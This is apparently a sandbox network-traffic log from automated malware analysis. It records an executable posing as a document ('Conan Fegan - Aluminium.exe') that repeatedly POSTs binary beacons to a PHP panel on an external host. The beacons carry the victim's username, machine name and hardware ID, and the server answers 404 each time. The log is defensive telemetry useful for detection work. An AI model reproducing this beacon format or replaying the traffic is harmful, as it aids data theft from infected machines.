Feb 22, 2021 19:13:35.516104937 CET	1591	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49774	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:36.095386982 CET	1592	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:36.434465885 CET	1593	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:36.808944941 CET	1653	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49777	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:37.374891996 CET	1681	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:37.711201906 CET	1739	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:38.080215931 CET	1774	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:37 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49781	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:38.688700914 CET	1837	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:39.023402929 CET	1848	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:39.392492056 CET	1912	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:39 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49784	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:39.984081984 CET	2001	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:40.320997953 CET	2029	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:40.691271067 CET	2188	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49788	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:41.300879002 CET	2227	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:41.637780905 CET	2410	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:42.004107952 CET	2418	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:41 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49750	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:06.053559065 CET	1449	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:06.392352104 CET	1538	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:06.769673109 CET	1538	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49790	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:42.586766958 CET	2468	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:42.921735048 CET	2500	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:43.288108110 CET	2500	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49792	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:43.872009993 CET	2501	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:44.207918882 CET	2502	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:44.576299906 CET	2502	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49793	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:45.134991884 CET	2503	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:45.470527887 CET	2503	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:45.838083982 CET	2504	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49794	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:46.448703051 CET	2505	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:46.795232058 CET	2505	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:47.172113895 CET	2505	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:47 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49795	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:47.761298895 CET	2506	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:48.099041939 CET	2506	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:48.467871904 CET	2507	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49796	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:49.047257900 CET	2508	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:49.382508039 CET	2508	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:49.748456955 CET	2508	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:49 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49797	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:50.324886084 CET	2509	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:50.663357019 CET	2509	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:51.031461954 CET	2510	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:50 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49798	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:51.622675896 CET	2511	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:51.961210966 CET	2511	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:52.330063105 CET	2511	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49799	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:52.940188885 CET	2512	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:53.276652098 CET	2512	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:53.654052973 CET	2513	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49800	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:54.217315912 CET	2528	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:54.554219961 CET	2567	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:54.922338009 CET	2570	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:54 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49751	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:07.581440926 CET	1539	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:07.923393965 CET	1539	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:08.297547102 CET	1539	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49804	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:55.493777990 CET	2576	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:55.828850985 CET	2579	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:56.195640087 CET	2582	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:56 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49805	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:56.763031960 CET	2587	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:57.098416090 CET	2590	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:57.467051029 CET	2594	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49811	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:58.050741911 CET	5375	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:58.390557051 CET	5451	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:58.757900953 CET	5451	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49812	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:59.321820021 CET	5562	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:59.665541887 CET	5786	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
